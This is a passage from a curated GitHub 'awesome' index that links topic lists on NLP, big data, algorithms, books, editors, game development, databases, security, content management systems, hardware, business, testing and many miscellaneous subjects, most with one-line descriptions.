- [Speech and Natural Language Processing](https://github.com/edobashira/speech-language-processing#readme)
- [Spanish](https://github.com/dav009/awesome-spanish-nlp#readme)
- [NLP with Ruby](https://github.com/arbox/nlp-with-ruby#readme)
- [Question Answering](https://github.com/seriousran/awesome-qa#readme) - The science of asking and answering in natural language with a machine.
- [Natural Language Generation](https://github.com/tokenmill/awesome-nlg#readme) - Generation of text used in data to text, conversational agents, and narrative generation applications.
- [Linguistics](https://github.com/theimpossibleastronaut/awesome-linguistics#readme)
- [Cryptography](https://github.com/sobolevn/awesome-cryptography#readme)
- [Papers](https://github.com/pFarb/awesome-crypto-papers#readme) - Theory basics for using cryptography by non-cryptographers.
- [Computer Vision](https://github.com/jbhuang0604/awesome-computer-vision#readme)
- [Deep Learning](https://github.com/ChristosChristofidis/awesome-deep-learning#readme) - Neural networks.
- [TensorFlow](https://github.com/jtoy/awesome-tensorflow#readme) - Library for machine intelligence.
- [TensorFlow.js](https://github.com/aaronhma/awesome-tensorflow-js#readme) - WebGL-accelerated machine learning JavaScript library for training and deploying models.
- [TensorFlow Lite](https://github.com/margaretmz/awesome-tensorflow-lite#readme) - Framework that optimizes TensorFlow models for on-device machine learning.
- [Papers](https://github.com/terryum/awesome-deep-learning-papers#readme) - The most cited deep learning papers.
- [Education](https://github.com/guillaume-chevalier/awesome-deep-learning-resources#readme)
- [Deep Vision](https://github.com/kjw0612/awesome-deep-vision#readme)
- [Open Source Society University](https://github.com/ossu/computer-science#readme)
- [Functional Programming](https://github.com/lucasviola/awesome-functional-programming#readme)
- [Empirical Software Engineering](https://github.com/dspinellis/awesome-msr#readme) - Evidence-based research on software systems.
- [Static Analysis & Code Quality](https://github.com/analysis-tools-dev/static-analysis#readme)
- [Information Retrieval](https://github.com/harpribot/awesome-information-retrieval#readme) - Learn to develop your own search engine.
- [Quantum Computing](https://github.com/desireevl/awesome-quantum-computing#readme) - Computing which utilizes quantum mechanics and qubits on quantum computers.
## Big Data
- [Big Data](https://github.com/onurakpolat/awesome-bigdata#readme)
- [Public Datasets](https://github.com/awesomedata/awesome-public-datasets#readme)
- [Hadoop](https://github.com/youngwookim/awesome-hadoop#readme) - Framework for distributed storage and processing of very large data sets.
- [Data Engineering](https://github.com/igorbarinov/awesome-data-engineering#readme)
- [Streaming](https://github.com/manuzhang/awesome-streaming#readme)
- [Apache Spark](https://github.com/awesome-spark/awesome-spark#readme) - Unified engine for large-scale data processing.
- [Qlik](https://github.com/ambster-public/awesome-qlik#readme) - Business intelligence platform for data visualization, analytics, and reporting apps.
- [Splunk](https://github.com/sduff/awesome-splunk#readme) - Platform for searching, monitoring, and analyzing structured and unstructured machine-generated big data in real-time.
## Theory
- [Papers We Love](https://github.com/papers-we-love/papers-we-love#readme)
- [Talks](https://github.com/JanVanRyswyck/awesome-talks#readme)
- [Algorithms](https://github.com/tayllan/awesome-algorithms#readme)
- [Education](https://github.com/gaerae/awesome-algorithms-education#readme) - Learning and practicing.
- [Algorithm Visualizations](https://github.com/enjalot/algovis#readme)
- [Artificial Intelligence](https://github.com/owainlewis/awesome-artificial-intelligence#readme)
- [Search Engine Optimization](https://github.com/marcobiedermann/search-engine-optimization#readme)
- [Competitive Programming](https://github.com/lnishan/awesome-competitive-programming#readme)
- [Math](https://github.com/rossant/awesome-math#readme)
- [Recursion Schemes](https://github.com/passy/awesome-recursion-schemes#readme) - Traversing nested data structures.
## Books
- [Free Programming Books](https://github.com/EbookFoundation/free-programming-books#readme)
- [Go Books](https://github.com/dariubs/GoBooks#readme)
- [R Books](https://github.com/RomanTsegelskyi/rbooks#readme)
- [Mind Expanding Books](https://github.com/hackerkid/Mind-Expanding-Books#readme)
- [Book Authoring](https://github.com/TalAter/awesome-book-authoring#readme)
- [Elixir Books](https://github.com/sger/ElixirBooks#readme)
## Editors
- [Sublime Text](https://github.com/dreikanter/sublime-bookmarks#readme)
- [Vim](https://github.com/mhinz/vim-galore#readme)
- [Emacs](https://github.com/emacs-tw/awesome-emacs#readme)
- [Atom](https://github.com/mehcode/awesome-atom#readme) - Open-source and hackable text editor.
- [Visual Studio Code](https://github.com/viatsko/awesome-vscode#readme) - Cross-platform open-source text editor.
## Gaming
- [Game Development](https://github.com/ellisonleao/magictools#readme)
- [Game Talks](https://github.com/hzoo/awesome-gametalks#readme)
- [Godot](https://github.com/Calinou/awesome-godot#readme) - Game engine.
- [Open Source Games](https://github.com/leereilly/games#readme)
- [Unity](https://github.com/RyanNielson/awesome-unity#readme) - Game engine.
- [Chess](https://github.com/hkirat/awesome-chess#readme)
- [LÖVE](https://github.com/love2d-community/awesome-love2d#readme) - Game engine.
- [PICO-8](https://github.com/pico-8/awesome-PICO-8#readme) - Fantasy console.
- [Game Boy Development](https://github.com/gbdev/awesome-gbdev#readme)
- [Construct 2](https://github.com/WebCreationClub/awesome-construct#readme) - Game engine.
- [Gideros](https://github.com/stetso/awesome-gideros#readme) - Game engine.
- [Minecraft](https://github.com/bs-community/awesome-minecraft#readme) - Sandbox video game.
- [Game Datasets](https://github.com/leomaurodesenv/game-datasets#readme) - Materials and datasets for Artificial Intelligence in games.
- [Haxe Game Development](https://github.com/Dvergar/awesome-haxe-gamedev#readme) - A high-level strongly typed programming language used to produce cross-platform native code.
- [libGDX](https://github.com/rafaskb/awesome-libgdx#readme) - Java game framework.
- [PlayCanvas](https://github.com/playcanvas/awesome-playcanvas#readme) - Game engine.
- [Game Remakes](https://github.com/radek-sprta/awesome-game-remakes#readme) - Actively maintained open-source game remakes.
- [Flame](https://github.com/flame-engine/awesome-flame#readme) - Game engine for Flutter.
- [Discord Communities](https://github.com/mhxion/awesome-discord-communities#readme) - Chat with friends and communities.
- [CHIP-8](https://github.com/tobiasvl/awesome-chip-8#readme) - Virtual computer game machine from the 70s.
- [Games of Coding](https://github.com/michelpereira/awesome-games-of-coding#readme) - Learn a programming language by making games.
## Development Environment
- [Quick Look Plugins](https://github.com/sindresorhus/quick-look-plugins#readme) - For macOS.
- [Dev Env](https://github.com/jondot/awesome-devenv#readme)
- [Dotfiles](https://github.com/webpro/awesome-dotfiles#readme)
- [Shell](https://github.com/alebcay/awesome-shell#readme)
- [Fish](https://github.com/jorgebucaran/awsm.fish#readme) - User-friendly shell.
- [Command-Line Apps](https://github.com/agarrharr/awesome-cli-apps#readme)
- [ZSH Plugins](https://github.com/unixorn/awesome-zsh-plugins#readme)
- [GitHub](https://github.com/phillipadsmith/awesome-github#readme) - Hosting service for Git repositories.
- [Browser Extensions](https://github.com/stefanbuck/awesome-browser-extensions-for-github#readme)
- [Cheat Sheet](https://github.com/tiimgreen/github-cheat-sheet#readme)
- [Pinned Gists](https://github.com/matchai/awesome-pinned-gists#readme) - Dynamic pinned gists for your GitHub profile.
- [Git Cheat Sheet & Git Flow](https://github.com/arslanbilal/git-cheat-sheet#readme)
- [Git Tips](https://github.com/git-tips/tips#readme)
- [Git Add-ons](https://github.com/stevemao/awesome-git-addons#readme) - Enhance the `git` CLI.
- [Git Hooks](https://github.com/compscilauren/awesome-git-hooks#readme) - Scripts for automating tasks during `git` workflows.
- [SSH](https://github.com/moul/awesome-ssh#readme)
- [FOSS for Developers](https://github.com/tvvocold/FOSS-for-Dev#readme)
- [Hyper](https://github.com/bnb/awesome-hyper#readme) - Cross-platform terminal app built on web technologies.
- [PowerShell](https://github.com/janikvonrotz/awesome-powershell#readme) - Cross-platform object-oriented shell.
- [Alfred Workflows](https://github.com/alfred-workflows/awesome-alfred-workflows#readme) - Productivity app for macOS.
- [Terminals Are Sexy](https://github.com/k4m4/terminals-are-sexy#readme)
- [GitHub Actions](https://github.com/sdras/awesome-actions#readme) - Create tasks to automate your workflow and share them with others on GitHub.
## Entertainment
- [Science Fiction](https://github.com/sindresorhus/awesome-scifi#readme) - Scifi.
- [Fantasy](https://github.com/RichardLitt/awesome-fantasy#readme)
- [Podcasts](https://github.com/ayr-ton/awesome-geek-podcasts#readme)
- [Email Newsletters](https://github.com/zudochkin/awesome-newsletters#readme)
- [IT Quotes](https://github.com/victorlaerte/awesome-it-quotes#readme)
## Databases
- [Database](https://github.com/numetriclabz/awesome-db#readme)
- [MySQL](https://github.com/shlomi-noach/awesome-mysql#readme)
- [SQLAlchemy](https://github.com/dahlia/awesome-sqlalchemy#readme)
- [InfluxDB](https://github.com/mark-rushakoff/awesome-influxdb#readme)
- [Neo4j](https://github.com/neueda/awesome-neo4j#readme)
- [MongoDB](https://github.com/ramnes/awesome-mongodb#readme) - NoSQL database.
- [RethinkDB](https://github.com/d3viant0ne/awesome-rethinkdb#readme)
- [TinkerPop](https://github.com/mohataher/awesome-tinkerpop#readme) - Graph computing framework.
- [PostgreSQL](https://github.com/dhamaniasad/awesome-postgres#readme) - Object-relational database.
- [CouchDB](https://github.com/quangv/awesome-couchdb#readme) - Document-oriented NoSQL database.
- [HBase](https://github.com/rayokota/awesome-hbase#readme) - Distributed, scalable, big data store.
- [NoSQL Guides](https://github.com/erictleung/awesome-nosql-guides#readme) - Help on using non-relational, distributed, open-source, and horizontally scalable databases.
- [Contexture](https://github.com/chrislatorres/awesome-contexture#readme) - Abstracts queries/filters and results/aggregations from different backing data stores like ElasticSearch and MongoDB.
- [Database Tools](https://github.com/mgramin/awesome-db-tools#readme) - Everything that makes working with databases easier.
- [Grakn](https://github.com/graknlabs/awesome#readme) - Logical database to organize large and complex networks of data as one body of knowledge.
- [Cassandra](https://github.com/Anant/awesome-cassandra#readme) - Open-source, distributed, wide column store, NoSQL database management system.
## Media
- [Creative Commons Media](https://github.com/shime/creative-commons-media#readme)
- [Fonts](https://github.com/brabadu/awesome-fonts#readme)
- [Codeface](https://github.com/chrissimpkins/codeface#readme) - Text editor fonts.
- [Stock Resources](https://github.com/neutraltone/awesome-stock-resources#readme)
- [GIF](https://github.com/davisonio/awesome-gif#readme) - Image format known for animated images.
- [Music](https://github.com/ciconia/awesome-music#readme)
- [Open Source Documents](https://github.com/44bits/awesome-opensource-documents#readme)
- [Audio Visualization](https://github.com/willianjusten/awesome-audio-visualization#readme)
- [Broadcasting](https://github.com/ebu/awesome-broadcasting#readme)
- [Pixel Art](https://github.com/Siilwyn/awesome-pixel-art#readme) - Pixel-level digital art.
- [FFmpeg](https://github.com/transitive-bullshit/awesome-ffmpeg#readme) - Cross-platform solution to record, convert and stream audio and video.
- [Icons](https://github.com/notlmn/awesome-icons#readme) - Downloadable SVG/PNG/font icon projects.
- [Audiovisual](https://github.com/stingalleman/awesome-audiovisual#readme) - Lighting, audio and video in professional environments.
## Learn
- [CLI Workshoppers](https://github.com/therebelrobot/awesome-workshopper#readme) - Interactive tutorials.
- [Learn to Program](https://github.com/karlhorky/learn-to-program#readme)
- [Speaking](https://github.com/matteofigus/awesome-speaking#readme)
- [Tech Videos](https://github.com/lucasviola/awesome-tech-videos#readme)
- [Dive into Machine Learning](https://github.com/hangtwenty/dive-into-machine-learning#readme)
- [Computer History](https://github.com/watson/awesome-computer-history#readme)
- [Programming for Kids](https://github.com/HollyAdele/awesome-programming-for-kids#readme)
- [Educational Games](https://github.com/yrgo/awesome-educational-games#readme) - Learn while playing.
- [JavaScript Learning](https://github.com/micromata/awesome-javascript-learning#readme)
- [CSS Learning](https://github.com/micromata/awesome-css-learning#readme) - Mainly about CSS – the language and the modules.
- [Product Management](https://github.com/dend/awesome-product-management#readme) - Learn how to be a better product manager.
- [Roadmaps](https://github.com/liuchong/awesome-roadmaps#readme) - Gives you a clear route to improve your knowledge and skills.
- [YouTubers](https://github.com/JoseDeFreitas/awesome-youtubers#readme) - Watch video tutorials from YouTubers that teach you about technology.
## Security
- [Application Security](https://github.com/paragonie/awesome-appsec#readme)
- [Security](https://github.com/sbilly/awesome-security#readme)
- [CTF](https://github.com/apsdehal/awesome-ctf#readme) - Capture The Flag.
- [Malware Analysis](https://github.com/rshipp/awesome-malware-analysis#readme)
- [Android Security](https://github.com/ashishb/android-security-awesome#readme)
- [Hacking](https://github.com/carpedm20/awesome-hacking#readme)
- [Honeypots](https://github.com/paralax/awesome-honeypots#readme) - Deception trap, designed to entice an attacker into attempting to compromise the information systems in an organization.
- [Incident Response](https://github.com/meirwah/awesome-incident-response#readme)
- [Vehicle Security and Car Hacking](https://github.com/jaredthecoder/awesome-vehicle-security#readme)
- [Web Security](https://github.com/qazbnm456/awesome-web-security#readme) - Security of web apps & services.
- [Lockpicking](https://github.com/fabacab/awesome-lockpicking#readme) - The art of unlocking a lock by manipulating its components without the key.
- [Cybersecurity Blue Team](https://github.com/fabacab/awesome-cybersecurity-blueteam#readme) - Groups of individuals who identify security flaws in information technology systems.
- [Fuzzing](https://github.com/cpuu/awesome-fuzzing#readme) - Automated software testing technique that involves feeding pseudo-randomly generated input data.
- [Embedded and IoT Security](https://github.com/fkie-cad/awesome-embedded-and-iot-security#readme)
- [GDPR](https://github.com/bakke92/awesome-gdpr#readme) - Regulation on data protection and privacy for all individuals within EU.
- [DevSecOps](https://github.com/TaptuIT/awesome-devsecops#readme) - Integration of security practices into [DevOps](https://en.wikipedia.org/wiki/DevOps).
## Content Management Systems
- [Umbraco](https://github.com/umbraco-community/awesome-umbraco#readme)
- [Refinery CMS](https://github.com/refinerycms-contrib/awesome-refinerycms#readme) - Ruby on Rails CMS.
- [Wagtail](https://github.com/springload/awesome-wagtail#readme) - Django CMS focused on flexibility and user experience.
- [Textpattern](https://github.com/drmonkeyninja/awesome-textpattern#readme) - Lightweight PHP-based CMS.
- [Drupal](https://github.com/nirgn975/awesome-drupal#readme) - Extensible PHP-based CMS.
- [Craft CMS](https://github.com/craftcms/awesome#readme) - Content-first CMS.
- [Sitecore](https://github.com/MartinMiles/Awesome-Sitecore#readme) - .NET digital marketing platform that combines CMS with tools for managing multiple websites.
- [Silverstripe CMS](https://github.com/wernerkrauss/awesome-silverstripe-cms#readme) - PHP MVC framework that serves as a classic or headless CMS.
## Hardware
- [Robotics](https://github.com/Kiloreux/awesome-robotics#readme)
- [Internet of Things](https://github.com/HQarroum/awesome-iot#readme)
- [Electronics](https://github.com/kitspace/awesome-electronics#readme) - For electronic engineers and hobbyists.
- [Bluetooth Beacons](https://github.com/rabschi/awesome-beacon#readme)
- [Electric Guitar Specifications](https://github.com/gitfrage/guitarspecs#readme) - Checklist for building your own electric guitar.
- [Plotters](https://github.com/beardicus/awesome-plotters#readme) - Computer-controlled drawing machines and other visual art robots.
- [Robotic Tooling](https://github.com/protontypes/awesome-robotic-tooling#readme) - Free and open tools for professional robotic development.
- [LIDAR](https://github.com/szenergy/awesome-lidar#readme) - Sensor for measuring distances by illuminating the target with laser light.
## Business
- [Open Companies](https://github.com/opencompany/awesome-open-company#readme)
- [Places to Post Your Startup](https://github.com/mmccaff/PlacesToPostYourStartup#readme)
- [OKR Methodology](https://github.com/domenicosolazzo/awesome-okr#readme) - Goal setting & communication best practices.
- [Leading and Managing](https://github.com/LappleApple/awesome-leading-and-managing#readme) - Leading people and being a manager in a technology company/environment.
- [Indie](https://github.com/mezod/awesome-indie#readme) - Independent developer businesses.
- [Tools of the Trade](https://github.com/cjbarber/ToolsOfTheTrade#readme) - Tools used by companies on Hacker News.
- [Clean Tech](https://github.com/nglgzz/awesome-clean-tech#readme) - Fighting climate change with technology.
- [Wardley Maps](https://github.com/wardley-maps-community/awesome-wardley-maps#readme) - Provides high situational awareness to help improve strategic planning and decision making.
- [Social Enterprise](https://github.com/RayBB/awesome-social-enterprise#readme) - Building an organization primarily focused on social impact that is at least partially self-funded.
- [Engineering Team Management](https://github.com/kdeldycke/awesome-engineering-team-management#readme) - How to transition from software development to engineering management.
- [Developer-First Products](https://github.com/agamm/awesome-developer-first#readme) - Products that target developers as the user.
## Work
- [Slack](https://github.com/matiassingers/awesome-slack#readme) - Team collaboration.
- [Communities](https://github.com/filipelinhares/awesome-slack#readme)
- [Remote Jobs](https://github.com/lukasz-madon/awesome-remote-job#readme)
- [Productivity](https://github.com/jyguyomarch/awesome-productivity#readme)
- [Niche Job Boards](https://github.com/tramcar/awesome-job-boards#readme)
- [Programming Interviews](https://github.com/DopplerHQ/awesome-interview-questions#readme)
- [Code Review](https://github.com/joho/awesome-code-review#readme) - Reviewing code.
- [Creative Technology](https://github.com/j0hnm4r5/awesome-creative-technology#readme) - Businesses & groups that specialize in combining computing, design, art, and user experience.
## Networking
- [Software-Defined Networking](https://github.com/sdnds-tw/awesome-sdn#readme)
- [Network Analysis](https://github.com/briatte/awesome-network-analysis#readme)
- [PCAPTools](https://github.com/caesar0301/awesome-pcaptools#readme)
- [Real-Time Communications](https://github.com/rtckit/awesome-rtc#readme) - Network protocols for near simultaneous exchange of media and data.
## Decentralized Systems
- [Bitcoin](https://github.com/igorbarinov/awesome-bitcoin#readme) - Bitcoin services and tools for software developers.
- [Ripple](https://github.com/vhpoet/awesome-ripple#readme) - Open source distributed settlement network.
- [Non-Financial Blockchain](https://github.com/machinomy/awesome-non-financial-blockchain#readme) - Non-financial blockchain applications.
- [Mastodon](https://github.com/tleb/awesome-mastodon#readme) - Open source decentralized microblogging network.
- [Ethereum](https://github.com/ttumiel/Awesome-Ethereum#readme) - Distributed computing platform for smart contract development.
- [Blockchain AI](https://github.com/steven2358/awesome-blockchain-ai#readme) - Blockchain projects for artificial intelligence and machine learning.
- [EOSIO](https://github.com/DanailMinchev/awesome-eosio#readme) - A decentralized operating system supporting industrial-scale apps.
- [Corda](https://github.com/chainstack/awesome-corda#readme) - Open source blockchain platform designed for business.
- [Waves](https://github.com/msmolyakov/awesome-waves#readme) - Open source blockchain platform and development toolset for Web 3.0 apps and decentralized solutions.
- [Substrate](https://github.com/substrate-developer-hub/awesome-substrate#readme) - Framework for writing scalable, upgradeable blockchains in Rust.
## Higher Education
- [Computational Neuroscience](https://github.com/eselkin/awesome-computational-neuroscience#readme) - A multidisciplinary science which uses computational approaches to study the nervous system.
- [Digital History](https://github.com/maehr/awesome-digital-history#readme) - Computer-aided scientific investigation of history.
- [Scientific Writing](https://github.com/writing-resources/awesome-scientific-writing#readme) - Distraction-free scientific writing with Markdown, reStructuredText and Jupyter notebooks.
## Events
- [Creative Tech Events](https://github.com/danvoyce/awesome-creative-tech-events#readme) - Events around the globe for creative coding, tech, design, music, arts and cool stuff.
- [Events in Italy](https://github.com/ildoc/awesome-italy-events#readme) - Tech-related events in Italy.
- [Events in the Netherlands](https://github.com/awkward/awesome-netherlands-events#readme) - Tech-related events in the Netherlands.
## Testing
- [Testing](https://github.com/TheJambo/awesome-testing#readme) - Software testing.
- [Visual Regression Testing](https://github.com/mojoaxel/awesome-regression-testing#readme) - Ensures changes did not break the functionality or style.
- [Selenium](https://github.com/christian-bromann/awesome-selenium#readme) - Open-source browser automation framework and ecosystem.
- [Appium](https://github.com/SrinivasanTarget/awesome-appium#readme) - Test automation tool for apps.
- [TAP](https://github.com/sindresorhus/awesome-tap#readme) - Test Anything Protocol.
- [JMeter](https://github.com/aliesbelik/awesome-jmeter#readme) - Load testing and performance measurement tool.
- [k6](https://github.com/k6io/awesome-k6#readme) - Open-source, developer-centric performance monitoring and load testing solution.
- [Playwright](https://github.com/mxschmitt/awesome-playwright#readme) - Node.js library to automate Chromium, Firefox and WebKit with a single API.
- [Quality Assurance Roadmap](https://github.com/fityanos/awesome-quality-assurance-roadmap#readme) - How to start & build a career in software testing.
## Miscellaneous
- [JSON](https://github.com/burningtree/awesome-json#readme) - Text based data interchange format.
- [GeoJSON](https://github.com/tmcw/awesome-geojson#readme)
- [Datasets](https://github.com/jdorfman/awesome-json-datasets#readme)
- [CSV](https://github.com/secretGeek/awesomeCSV#readme) - A text file format that stores tabular data and uses a comma to separate values.
- [Discounts for Student Developers](https://github.com/AchoArnold/discount-for-student-dev#readme)
- [Radio](https://github.com/kyleterry/awesome-radio#readme)
- [Awesome](https://github.com/sindresorhus/awesome#readme) - Recursion illustrated.
- [Analytics](https://github.com/onurakpolat/awesome-analytics#readme)
- [REST](https://github.com/marmelab/awesome-rest#readme)
- [Continuous Integration and Continuous Delivery](https://github.com/cicdops/awesome-ciandcd#readme)
- [Services Engineering](https://github.com/mmcgrana/services-engineering#readme)
- [Free for Developers](https://github.com/ripienaar/free-for-dev#readme)
- [Answers](https://github.com/cyberglot/awesome-answers#readme) - Stack Overflow, Quora, etc.
- [Sketch](https://github.com/diessica/awesome-sketch#readme) - Design app for macOS.
- [Boilerplate Projects](https://github.com/melvin0008/awesome-projects-boilerplates#readme)
- [Readme](https://github.com/matiassingers/awesome-readme#readme)
- [Design and Development Guides](https://github.com/NARKOZ/guides#readme)
- [Software Engineering Blogs](https://github.com/kilimchoi/engineering-blogs#readme)
- [Self Hosted](https://github.com/awesome-selfhosted/awesome-selfhosted#readme)
- [FOSS Production Apps](https://github.com/DataDaoDe/awesome-foss-apps#readme)
- [Gulp](https://github.com/alferov/awesome-gulp#readme) - Task runner.
- [AMA](https://github.com/sindresorhus/amas#readme) - Ask Me Anything.
- [Answers](https://github.com/stoeffel/awesome-ama-answers#readme)
- [Open Source Photography](https://github.com/ibaaj/awesome-OpenSourcePhotography#readme)
- [OpenGL](https://github.com/eug/awesome-opengl#readme) - Cross-platform API for rendering 2D and 3D graphics.
- [GraphQL](https://github.com/chentsulin/awesome-graphql#readme)
- [Urban & Regional Planning](https://github.com/APA-Technology-Division/urban-and-regional-planning-resources#readme) - Concerning the built environment and communities.
- [Transit](https://github.com/CUTR-at-USF/awesome-transit#readme)
- [Research Tools](https://github.com/emptymalei/awesome-research#readme)
- [Data Visualization](https://github.com/fasouto/awesome-dataviz#readme)
- [Social Media Share Links](https://github.com/vinkla/shareable-links#readme)
- [Microservices](https://github.com/mfornos/awesome-microservices#readme)
- [Unicode](https://github.com/jagracey/Awesome-Unicode#readme) - Unicode standards, quirks, packages and resources.
- [Code Points](https://github.com/Codepoints/awesome-codepoints#readme)
- [Beginner-Friendly Projects](https://github.com/MunGell/awesome-for-beginners#readme)
- [Katas](https://github.com/gamontal/awesome-katas#readme)
- [Tools for Activism](https://github.com/drewrwilson/toolsforactivism#readme)
- [Citizen Science](https://github.com/dylanrees/citizen-science#readme) - For community-based and non-institutional scientists.
- [MQTT](https://github.com/hobbyquaker/awesome-mqtt#readme) - "Internet of Things" connectivity protocol.
- [Hacking Spots](https://github.com/daviddias/awesome-hacking-locations#readme)
- [For Girls](https://github.com/cristianoliveira/awesome4girls#readme)
- [Vorpal](https://github.com/vorpaljs/awesome-vorpal#readme) - Node.js CLI framework.
- [Vulkan](https://github.com/vinjn/awesome-vulkan#readme) - Low-overhead, cross-platform 3D graphics and compute API.
- [LaTeX](https://github.com/egeerardyn/awesome-LaTeX#readme) - Typesetting language.
- [Economics](https://github.com/antontarasenko/awesome-economics#readme) - An economist's starter kit.
- [Funny Markov Chains](https://github.com/sublimino/awesome-funny-markov#readme)
- [Bioinformatics](https://github.com/danielecook/Awesome-Bioinformatics#readme)
- [Cheminformatics](https://github.com/hsiaoyi0504/awesome-cheminformatics#readme) - Informatics techniques applied to problems in chemistry.
- [Colorful](https://github.com/Siddharth11/Colorful#readme) - Choose your next color scheme.
- [Steam](https://github.com/scholtzm/awesome-steam#readme) - Digital distribution platform.
- [Bots](https://github.com/hackerkid/bots#readme) - Building bots.
- [Site Reliability Engineering](https://github.com/dastergon/awesome-sre#readme)
- [Empathy in Engineering](https://github.com/KimberlyMunoz/empathy-in-engineering#readme) - Building and promoting more compassionate engineering cultures.
- [DTrace](https://github.com/xen0l/awesome-dtrace#readme) - Dynamic tracing framework.
- [Userscripts](https://github.com/bvolpato/awesome-userscripts#readme) - Enhance your browsing experience.
- [Pokémon](https://github.com/tobiasbueschel/awesome-pokemon#readme) - Pokémon and Pokémon GO.
- [ChatOps](https://github.com/exAspArk/awesome-chatops#readme) - Managing technical and business operations through a chat.
- [Falsehood](https://github.com/kdeldycke/awesome-falsehood#readme) - Falsehoods programmers believe in.
- [Domain-Driven Design](https://github.com/heynickc/awesome-ddd#readme) - Software development approach for complex needs by connecting the implementation to an evolving model.
- [Quantified Self](https://github.com/woop/awesome-quantified-self#readme) - Self-tracking through technology.
- [SaltStack](https://github.com/hbokh/awesome-saltstack#readme) - Python-based config management system.
- [Web Design](https://github.com/nicolesaidy/awesome-web-design#readme) - For digital designers.
- [Creative Coding](https://github.com/terkelg/awesome-creative-coding#readme) - Programming something expressive instead of something functional.
- [No-Login Web Apps](https://github.com/aviaryan/awesome-no-login-web-apps#readme) - Web apps that work without login.
- [Free Software](https://github.com/johnjago/awesome-free-software#readme) - Free as in freedom.
- [Framer](https://github.com/podo/awesome-framer#readme) - Prototyping interactive UI designs.
- [Markdown](https://github.com/BubuAnabelas/awesome-markdown#readme) - Markup language.
- [Dev Fun](https://github.com/mislavcimpersak/awesome-dev-fun#readme) - Funny developer projects.
- [Healthcare](https://github.com/kakoni/awesome-healthcare#readme) - Open source healthcare software for facilities, providers, developers, policy experts, and researchers.
- [Magento 2](https://github.com/DavidLambauer/awesome-magento2#readme) - Open Source eCommerce built with PHP.
- [TikZ](https://github.com/xiaohanyu/awesome-tikz#readme) - Graph drawing packages for TeX/LaTeX/ConTeXt.
- [Neuroscience](https://github.com/analyticalmonk/awesome-neuroscience#readme) - Study of the nervous system and brain.
- [Ad-Free](https://github.com/johnjago/awesome-ad-free#readme) - Ad-free alternatives.
- [Esolangs](https://github.com/angrykoala/awesome-esolangs#readme) - Programming languages designed for experimentation or as jokes rather than actual use.
- [Prometheus](https://github.com/roaldnefs/awesome-prometheus#readme) - Open-source monitoring system.
- [Homematic](https://github.com/homematic-community/awesome-homematic#readme) - Smart home devices.
- [Ledger](https://github.com/sfischer13/awesome-ledger#readme) - Double-entry accounting on the command-line.
- [Web Monetization](https://github.com/thomasbnt/awesome-web-monetization#readme) - A free open web standard service that allows you to send money directly in your browser.
- [Uncopyright](https://github.com/johnjago/awesome-uncopyright#readme) - Public domain works.
- [Crypto Currency Tools & Algorithms](https://github.com/Zheaoli/awesome-coins#readme) - Digital currency where encryption is used to regulate the generation of units and verify transfers.
- [Diversity](https://github.com/folkswhocode/awesome-diversity#readme) - Creating a more inclusive and diverse tech community.
- [Open Source Supporters](https://github.com/zachflower/awesome-open-source-supporters#readme) - Companies that offer their tools and services for free to open source projects.
- [Design Principles](https://github.com/robinstickel/awesome-design-principles#readme) - Create better and more consistent designs and experiences.
- [Theravada](https://github.com/johnjago/awesome-theravada#readme) - Teachings from the Theravada Buddhist tradition.
- [inspectIT](https://github.com/inspectit-labs/awesome-inspectit#readme) - Open source Java app performance management tool.
- [Open Source Maintainers](https://github.com/nayafia/awesome-maintainers#readme) - The experience of being an open source maintainer.
- [Calculators](https://github.com/xxczaki/awesome-calculators#readme) - Calculators for every platform.
- [Captcha](https://github.com/ZYSzys/awesome-captcha#readme) - A type of challenge–response test used in computing to determine whether or not the user is human.
- [Jupyter](https://github.com/markusschanta/awesome-jupyter#readme) - Create and share documents that contain code, equations, visualizations and narrative text.
- [FIRST Robotics Competition](https://github.com/andrewda/awesome-frc#readme) - International high school robotics championship.
- [Humane Technology](https://github.com/humanetech-community/awesome-humane-tech#readme) - Open source projects that help improve society.
- [Speakers](https://github.com/karlhorky/awesome-speakers#readme) - Conference and meetup speakers in the programming and design community.
- [Board Games](https://github.com/edm00se/awesome-board-games#readme) - Table-top gaming fun for all.
- [Software Patreons](https://github.com/uraimo/awesome-software-patreons#readme) - Fund individual programmers or the development of open source projects.
- [Parasite](https://github.com/ecohealthalliance/awesome-parasite#readme) - Parasites and host-pathogen interactions.
- [Food](https://github.com/jzarca01/awesome-food#readme) - Food-related projects on GitHub.
- [Mental Health](https://github.com/dreamingechoes/awesome-mental-health#readme) - Mental health awareness and self-care in the software industry.
- [Bitcoin Payment Processors](https://github.com/alexk111/awesome-bitcoin-payment-processors#readme) - Start accepting Bitcoin.
- [Scientific Computing](https://github.com/nschloe/awesome-scientific-computing#readme) - Solving complex scientific problems using computers.
- [Amazon Sellers](https://github.com/ScaleLeap/awesome-amazon-seller#readme)
- [Agriculture](https://github.com/brycejohnston/awesome-agriculture#readme) - Open source technology for farming and gardening.
- [Product Design](https://github.com/matttga/awesome-product-design#readme) - Design a product from the initial concept to production.
- [Prisma](https://github.com/catalinmiron/awesome-prisma#readme) - Turn your database into a GraphQL API.
- [Software Architecture](https://github.com/simskij/awesome-software-architecture#readme) - The discipline of designing and building software.
- [Connectivity Data and Reports](https://github.com/stevesong/awesome-connectivity-info#readme) - Better understand who has access to telecommunication and internet infrastructure and on what terms.
- [Stacks](https://github.com/stackshareio/awesome-stacks#readme) - Tech stacks for building different apps and features.
- [Cytodata](https://github.com/cytodata/awesome-cytodata#readme) - Image-based profiling of biological phenotypes for computational biologists.
- [IRC](https://github.com/davisonio/awesome-irc#readme) - Open source messaging protocol.
- [Advertising](https://github.com/cenoura/awesome-ads#readme) - Advertising and programmatic media for websites.
- [Earth](https://github.com/philsturgeon/awesome-earth#readme) - Find ways to resolve the climate crisis.
- [Naming](https://github.com/gruhn/awesome-naming#readme) - Naming things in computer science done right.
- [Biomedical Information Extraction](https://github.com/caufieldjh/awesome-bioie#readme) - How to extract information from unstructured biomedical data and text.
- [Web Archiving](https://github.com/iipc/awesome-web-archiving#readme) - An effort to preserve the Web for future generations.
- [WP-CLI](https://github.com/schlessera/awesome-wp-cli#readme) - Command-line interface for WordPress.
- [Credit Modeling](https://github.com/mourarthur/awesome-credit-modeling#readme) - Methods for classifying credit applicants into risk classes.
- [Ansible](https://github.com/KeyboardInterrupt/awesome-ansible#readme) - A Python-based, open source IT configuration management and automation platform.
- [Biological Visualizations](https://github.com/keller-mark/awesome-biological-visualizations#readme) - Interactive visualization of biological data on the web.
- [QR Code](https://github.com/aureooms/awesome-qr-code#readme) - A type of matrix barcode that can be used to store and share a small amount of information.
